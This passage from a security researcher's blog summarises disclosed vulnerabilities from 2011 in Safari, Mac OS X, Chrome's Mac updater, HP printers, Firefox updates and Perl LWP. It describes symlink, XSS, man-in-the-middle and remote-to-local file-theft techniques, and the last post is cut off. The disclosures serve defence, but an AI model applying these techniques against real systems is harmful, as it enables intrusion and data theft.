<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
1. Apple's advisory:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br />
<a href="http://support.apple.com/kb/HT5002">http://support.apple.com/kb/HT5002</a></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
2. Brian Mastenbrook's previous Help Viewer security issues:</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>http://brian.mastenbrook.net/display/30</div>
</div>
<br />
<br />aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com1tag:blogger.com,1999:blog-5783873584893336688.post-49099499131968449672011-10-11T07:55:00.000-07:002011-10-15T05:23:57.273-07:00Summary of vulnerability write-ups on bugs Apple fixed today<b>Safari Issues:</b><br />
With the release of Mac OS X v10.7, Apple made Safari run sandboxed. According to Apple:<br />
<br />
"Sandboxing<br />
All the websites and applications you use in Safari are sandboxed, so they don’t have access to information on your system. If a website contains malicious code intended to capture personal data or tamper with your computer, sandboxing provides a built-in blocker that restricts the code from doing harm."<br />
-- <a href="http://www.apple.com/macosx/whats-new/features.html#safari">http://www.apple.com/macosx/whats-new/features.html#safari</a><br />
<br />
In today's security update, Apple is fixing in two security issues I reported that could lead to capturing personal data and launching of arbitrary files or commands to tamper with your computer. These security holes do not break the Mac OS X sandboxing technology. Instead they function despite the sandboxing due to the way sandboxing for Safari was implemented.<br />
<br />
I believe these are the first security holes in Apple software that have been made public that achieve file theft and command execution against Safari on Mac OS X v10.7 since sandboxing was added. Of course this excludes the many, many, many holes in Flash and Java and other third party software one may have installed.<br />
<br />
The first issue allows a malicious website to run arbitrary commands by getting Safari to launch a URL directly to the system. This issue is tracked as CVE-2011-3230.<br />
<br />
Write up: <a href="http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html">http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html</a><br />
<br />
The second issue allows a malicious website to steal files accessible to the sandbox (several of which contain personal data) and execute Javascript in the context of Safari's extensions, which can be used to persistently alter their behavior or to steal data. This issue is tracked as CVE-2011-3229.<br />
<br />
Write up: <a href="http://vttynotes.blogspot.com/2011/10/cve-2011-3229-steal-files-and-inject-js.html">http://vttynotes.blogspot.com/2011/10/cve-2011-3229-steal-files-and-inject-js.html</a><br />
<br />
<b>Mac OS X Issues:</b><br />
Two other issues in Mac OS X were fixed as well. <br />
<br />
The first will not get its own write-up, because it is really straight forward and rather minor. When using QuickTime to "Save for Web", the HTML that is produced includes a script from Apple's website served over HTTP. An MITM attack on the loading of this script when the files are viewed locally could be used to steal files from the local system using XMLHttpRequests or abuse the power of local files in Safari to inject malicious Javascript into any other website. Note that the files are intended to be loaded locally, as they contain instructions on how to place QuickTime content on your website. This issue is tracked as CVE-2011-3218.<br />
<br />
The second issue is a MITM attack Brian Mastenbrook and I found that leads to execution of arbitrary code. When viewing help in the Mac App Store, an update check is performed by talking to an Apple server. This update includes AppleScript and Python code that are served over HTTP, and can be replaced by an attacker with the ability to alter the victim's network traffic. When updating, these files are executed. If Mac App Store help has ever been viewed before, this update check can be triggered on demand by an attacker using a "help:" URL in a web page. Additionally, even when a network attacker is not present, the update process insecurely accesses files in "/tmp" leading to a traditional Time of Check vs Time of Use condition that could lead to local attacks such as privilege escalation. These issues do not affect Mac OS X v10.7 Lion, presumably because they were reported to Apple prior to its release. These issues are collectively tracked as CVE-2011-3224.<br />
<br />
Write up: <a href="http://vttynotes.blogspot.com/2011/10/cve-2011-3224-mitm-to-rce-with-mac-app.html">http://vttynotes.blogspot.com/2011/10/cve-2011-3224-mitm-to-rce-with-mac-app.html</a><br />
<br />
I hope the detailed information on these security holes is useful. If you have any questions feel free to post them.<br />
<br />
<br />aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-50273922983635651132011-09-20T09:46:00.000-07:002011-09-20T09:46:54.458-07:00Chome 14 addresses CVE-2011-2842 local mac-only issueWith the recent release of Chrome 14, Google addressed the following issue I reported to them:<br />
<div>
<br /></div>
<div>
<div>
[Mac only] [80680] Low CVE-2011-2842: Insecure lock file handling in the Mac installer. Credit to Aaron Sigel of vtty.com. (ref: <a href="http://googlechromereleases.blogspot.com/2011/09/stable-channel-update_16.html">http://googlechromereleases.blogspot.com/2011/09/stable-channel-update_16.html</a>)</div>
</div>
<div>
<br /></div>
<div>
Details:</div>
<div>
<div>
<br /></div>
<div>
The affected script was "install.py" located in GoogleSoftwareUpdate.bundle/Contents/Resources/GoogleSoftwareUpdateAgent.app/Contents/Resources</div>
<div>
In this script, a temporary lock file was created using the following method:</div>
<div>
<br /></div>
<div>
<i> lockfilename = '/tmp/.keystone_install_lock'</i></div>
<div>
<i><br /></i></div>
<div>
<i> # Make sure that root and user can share the same lockfile</i></div>
<div>
<i> oldmask = os.umask(0000)</i></div>
<div>
<i> # os.O_EXLOCK is 32, but isn't defined on 10.4 (python2.3)</i></div>
<div>
<i> lockfile = os.open(lockfilename, os.O_CREAT | os.O_RDWR | 32, 0666)</i></div>
</div>
<div>
<i><br /></i></div>
<div>
This appears to get executed on every Chrome update, offering attackers frequent opportunities to attack the statically named, insecurely created temporary file. To exploit this issue, a local attacker would create a symbolic link from "/tmp/.keystone_install_lock" to a file they wanted to have created by the victim. When created, the files will be created with permissions that allow reading and writing by all users of the system. There are a number of files that users can write in their home directories that control access to various resources. Using this method to create such files could allow an attacker to then edit the content of those files and lead to local privilege escalation or information disclosure.</div>
<div>
<br /></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-27534416530851369782011-06-23T13:45:00.000-07:002011-06-23T16:00:27.675-07:00Apple fixes CVE-2011-0207 in Mac OS X v10.6.8 / Security Update 2011-004<br />
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
In today's update, Apple is fixing a security issue that was disturbing for me to see, but is definitely not even close to the most serious security holes in the update (there are several that look like they would be useful in creating drive-by -> code execution). </div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Just for the sake of documenting this bug fully, here are some details. The issue only affects MobileMe users and is that upon attempting to compose your first email after launching Mail.app, cleartext requests are made to Apple servers and return back a list of your email aliases. </div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
When users want to secure the traffic from Mail.app, they would typically enable SSL for incoming and outgoing mail, which happens to be the default for MobileMe accounts, and also likely disable the loading of remote images.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Incoming, Outgoing, and Remote Images:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixwlcMzjls4LsG6iEN4eR2iMNFEZ06vkCpNhrNm1GGj8sOX0vie-XzKCk6aHvHx_rAtdojTZd2oBzpEaDA4nPzCTt-dT1qrNZJTFkTx-LfOsVSYB7q15srwQnWa3WL2whP0-8NoPjbLLU/s1600/MailSSLSettings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixwlcMzjls4LsG6iEN4eR2iMNFEZ06vkCpNhrNm1GGj8sOX0vie-XzKCk6aHvHx_rAtdojTZd2oBzpEaDA4nPzCTt-dT1qrNZJTFkTx-LfOsVSYB7q15srwQnWa3WL2whP0-8NoPjbLLU/s400/MailSSLSettings.png" width="400" /></a></div>
<div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
However despite these settings your aliases are transferred in the clear, exposing MobileMe usernames and alternate identities on the wire. The data returned looks something like this:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"><?xml version="1.0" encoding="UTF-8"?></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"><Aliases xmlns="http://www.me.com/xml/1.0/alias"></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"> <DisposableEmail></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"> <email>ThisIsSomeAlias@me.com</email></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"> <color>#737373</color></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"> <alias>this is some alias</alias></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"> <name>my alter ego</name></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"> </DisposableEmail></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="color: blue;"></Aliases></span></div>
</div>
<div>
<br /></div>
<div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
I should note that in my tests, downgrading from digest authentication to basic authentication failed to leak the user's MobileMe password. So unlike in the case of the CVE-2010-3831, which I found using the same old silly proxy server method, this was far less serious. Though it is worth noting a web page can trigger this behavior simply by pushing your browser to a "mailto:" URL, so it could be done on demand assuming Mail.app isn't already running.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Not that it should be a surprise to anyone, but I was also able to spoof a response from the server that caused my available "From" addresses to include attacker created/injected email addresses. I was not able to make mail use any of these addresses by default on creation of new mail.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Regarding iCloud, I hope that Apple is taking this opportunity to make it so that bugs like this are mitigated through design. If you have a fancy new web service, why not kick it off by doing all the things you're supposed to. For example, if they allow HTTP/unencrypted access to iCloud services I will be really disappointed.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Apple's advisory is available at <a href="http://support.apple.com/kb/HT4723">http://support.apple.com/kb/HT4723</a></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
The update is available via Software Update</div>
</div>
<div>
<br /></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-86927352501033153712011-04-15T09:41:00.000-07:002011-04-19T15:14:12.640-07:00HP disclosed but didn't fix printer security holes<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">HP released a bulletin covering CVE-2011-1531, </span></span><span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">CVE-2011-1532, and </span></span><span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">CVE-2011-1533 on April 12 that acknowledges these security issues I reported to them exist, but will not be providing a patch to address them. Instead, they have provided some recommendations and workarounds.</span></span><br />
<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span><br />
<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">Some of the recommendations are not very practical in real life, such as avoiding XSS by "Exposure can be reduced by avoiding untrusted URLs". This is not because they didn't understand the problem, but because there was nothing much else to say when they weren't going to fix the issue. </span></span><br />
<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span><br />
<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">The main issue that I was hoping they would fix is an XSS in the embedded web server of the printer. By default, the printer is not protected by a password, and that could result in a malicious website being able to explore your printer/network settings or reconfigure it in various ways. The XSS is reflective and I imagine it is not that uncommon for printers to have DNS within the company domain, allowing it to be used to steal/set cookies, pivot into your network to access private data, and all the other run of the mill nasties that you could do with malicious Javascript on an internal network.</span></span><br />
<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span><br />
<span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px;"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">HP's advisory is here:</span></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<a href="http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02267197"><span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02267197</span></a><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">There's more than one place to XSS this but I like the error page of the printer because it is accessible even with authentication enabled. You can trigger it with a POST to refresh.htm, which will result in unescaped output provided to it in the "refresh_rate" variable.</span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"><br /></span><br />
<span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;">I appreciate that HP took the time to disclose the bugs, but it makes me wonder what my expectations should be for them to fix any other HP products. Perhaps XSS is just below their threshold, or maybe they think printers are not worth fixing. It's hard to tell what they would care enough to patch. </span><br />
<br />aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com3tag:blogger.com,1999:blog-5783873584893336688.post-19120239696742308302011-03-27T14:00:00.000-07:002011-03-27T14:34:36.134-07:00Man-in-the-middle attacking Mozilla Firefox updatesEarlier today I was proved wrong when I claimed it was not possible to update from Firefox 3.x to 4.x securely. I'm not quite sure what happened when I originally tested it -- potentially it was something to do with one of their security updates going out, but in any case, this got me looking at how their updates work.<br />
<div>
<br /></div>
<div>
The latest Firefox 3.x actually pulls update information from an SSLized URL, and it verified the binary package before installing it. I was pretty happy when I saw that, but I started wondering how the update box below was rendered:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs962W740mRTqeurCeQ46agn9qk6WKRNxo8xe72mPt-V1da4DmNVK68TrgDZdov5EF2VciDFg_sRIFQiJE_GXiTcoaZfS1RNgPFAbVMUkmxRjrSs795RZYGue-8W-M3QWowHUBO6SJlbQ/s1600/normalupdatebox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs962W740mRTqeurCeQ46agn9qk6WKRNxo8xe72mPt-V1da4DmNVK68TrgDZdov5EF2VciDFg_sRIFQiJE_GXiTcoaZfS1RNgPFAbVMUkmxRjrSs795RZYGue-8W-M3QWowHUBO6SJlbQ/s320/normalupdatebox.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
It turns out that the user-readable details about the new version are pulled as plaintext HTTP from Mozilla's servers. I wondered what would happen if I added a meta refresh to another download in this page. Below is the edited HTML using Charles Proxy but clearly any man-in-the-middle attacker could do the same thing. </div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobFLijEKLvxJAUFn8zQDHnjfxMzTGmL-3oV5N4BIWXfCZdbgV4rKwBN6dj9nPG4vAoDveghD4ThcYx5TvsIlAmD8t6PKVRsobQPHnCD-GDDiT_OghqyXm_wAAmKR0S2ytWXEbg-zZL5M/s1600/injectedhtml.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="149" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobFLijEKLvxJAUFn8zQDHnjfxMzTGmL-3oV5N4BIWXfCZdbgV4rKwBN6dj9nPG4vAoDveghD4ThcYx5TvsIlAmD8t6PKVRsobQPHnCD-GDDiT_OghqyXm_wAAmKR0S2ytWXEbg-zZL5M/s640/injectedhtml.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The result of this is an arbitrary file being pushed to you at the time you are trying to update. I personally think this could be convincing enough to get people to run malicious code. An attacker could also edit the HTML directly to make it seem like you should click a button in the untrusted frame instead of the "Get the New Version" button or be even more creative.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEialqKxFg86hNusNZ_01FI7WT0rWzMvWkV4i1jX1RI-pVpNTN6CpEgt0d6r3cxgHacgABlue9dUI8dYuVYqRYxjqKeKR0j4sY4f0Q3a1ztGf-xgwbAwGKCXUoF3fQt7KkExDnFm8IF8l0U/s1600/pushingdownloads.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEialqKxFg86hNusNZ_01FI7WT0rWzMvWkV4i1jX1RI-pVpNTN6CpEgt0d6r3cxgHacgABlue9dUI8dYuVYqRYxjqKeKR0j4sY4f0Q3a1ztGf-xgwbAwGKCXUoF3fQt7KkExDnFm8IF8l0U/s320/pushingdownloads.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I think it is important for software vendors like Mozilla to keep these kinds of attacks in mind when mixing application chrome and untrusted content in the same view. It is important for us to think of the barely computer literate user who is just trying to safely browse the web. I'm pretty sure more badness could be done with this, and the fix is relatively simple -- all they needed to do was serve this over SSL and the threat would be greatly reduced.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com4tag:blogger.com,1999:blog-5783873584893336688.post-91454781985465555942011-03-21T14:15:00.000-07:002011-03-21T14:15:45.324-07:00Apple fixes Installer bug, CVE-2011-0190<br />
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Mac OS X v10.6.7 addressed a bug I reported in Installer:</div>
<blockquote>
From <a href="http://support.apple.com/kb/HT4581">Apple's advisory</a>: </blockquote>
<blockquote>
Impact: Visiting a maliciously crafted website may lead to the installation of an agent that contacts an arbitrary server when the user logs in, and mislead the user into thinking that the connection is with Apple</blockquote>
<blockquote>
Description: A URL processing issue in Install Helper may lead to the installation of an agent that contacts an arbitrary server when the user logs in. The dialog resulting from a connection failure may lead the user to believe that the connection was attempted with Apple. This issue is addressed by removing Install Helper.</blockquote>
<br />
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Some additional details:</div>
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
- A web page could open a url with the <span class="Apple-style-span" style="color: red;">x-mini-installer://</span><span class="Apple-style-span" style="color: black;"> scheme, with a host and path of where to attempt to load files.</span></div>
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="color: black;">- It attempts to download a plist pointing it at an update server at every login</span></div>
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="color: black;">- When an update package fails to process properly, the UI displayed instructs a user to run something from their ~/Downloads folder, where a malicious file could have been dropped.</span></div>
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="color: black;">- I did not succeed in getting it to automate the install of arbitrary content. </span></div>
<div style="color: #333333; font-family: 'Lucida Grande', 'Lucida Sans Unicode', Helvetica, Arial, Verdana, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 18px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<span class="Apple-style-span" style="color: black;">- This bug could be used to trigger <a href="http://vttynotes.blogspot.com/2011/01/apple-fixes-cve-2010-4013-in-mac-os-x.html">this format string bug</a></span></div>
<br />aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-85512332156724625522011-03-18T06:17:00.000-07:002011-03-18T06:17:17.327-07:00Quick note on LWP and Perl security - CVE-2011-0633As a follow-up to <a href="http://vttynotes.blogspot.com/2010/12/man-in-middle-fun-with-perl-lwp.html">this post</a> on how most LWP-based scripts can be man-in-the-middled, I contacted Jesse Vincent, Gisle Aas, and the Perl security team about this LWP issue. They immediately saw the issue and began fixing it. I would strongly recommend using LWP 6.00 for anything that needs to handle an HTTPS URL. <br />
<blockquote>
<span class="Apple-style-span" style="font-family: Helvetica;">CVE-2011-0633</span> </blockquote>
<blockquote>
The libwww−perl (LWP) module Net::HTTPS did not fully validate SSL certificates by default prior to version 6.00. Multiple Perl modules (such as WWW::Mechanize and LWP::UserAgent) do not enable full validation of SSL certificates when using libwww-perl, leaving software that uses them vulnerable to man-in-the-middle attacks. This issue was addressed by changing the default behavior of libwww-perl to enable full validation of SSL certificates.</blockquote>
The LWP 6.00 changelog includes the following about the change:
<br />
<blockquote>
For https://... default to verified connections with require IO::Socket::SSL
and Mozilla::CA modules to be installed. Old behaviour can be requested by
setting the PERL_LWP_SSL_VERIFY_HOSTNAME environment variable to 0. The
LWP::UserAgent got new ssl_opts method to control this as well.</blockquote>
Thanks to all of their hard work, lots of projects that previously did not validate certificates will begin to do so, once LWP is updated.aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-80046196388559664642011-03-09T11:51:00.000-08:002011-03-09T11:51:24.546-08:00Safari Errorjacking - CVE-2011-0167<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Intro:</b>
<span class="Apple-style-span" style="font-size: small;"><span class="Apple-style-span" style="font-size: large;"><b><div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Today's Safari update addresses a rather serious issue (CVE-2011-0167) that I found and reported to Apple. This issue allows Javascript from any website to jump into the local zone and access any files accessible to the user running Safari. This bug actually exists in WebKit, so other browsers could be affected. This is why it's good when browsers do what Chrome did, and heavily limit what can be done by local HTML. . Check out the related reading at the end of this post for more on that.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Here's a quick video of the bug in action. Only HTML and JavaScript are required to accomplish this.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dyZr1GHw6refkFDraUf8bdstaV5FwTVhNX_CsWMticf3e-3ankQVwJUAOfjttya95cF4W4LN_O-m4EU1tXlaA' class='b-hbp-video b-uploaded' frameborder='0'></iframe><br />
<span class="Apple-style-span" style="color: black;"><br /></span><br />
<span class="Apple-style-span" style="color: black;"><br /></span></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Bug description:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
The problem is that when internally generated pages (such as error pages) are loaded, they are loaded from the local "file:" zone, but the window's location can still be set by all scripts that have a reference to the window, such as an attacker's website.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>Why remote-to-local matters:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Safari normally blocks loading of local content from remote sites for a ton of reasons. One reason is that local content in Safari has a fair bit of power*, including the ability to read any file accessible to the current user. This can be accomplished a number of ways. The easiest is using XMLHttpRequest()s in order to read files by "file:///" URL. Once loaded, the content can be sent anywhere. </div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
*To read about the many other things that local HTML can do, check out the related reading links below.</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 17.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b>How remote-to-local restrictions normally work:</b></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
You can see remote-to-local restrictions in action by trying to load the following HTML from a web server in Safari:</div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="color: #1636ee; font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; text-align: center;">
<span style="text-decoration: underline;"><a href="file:///tmp/foo.html"><i><a href="file:///tmp/foo.html">click me</a></i></a></span></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 14.0px;">
<br /></div>
<div style="font: 12.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
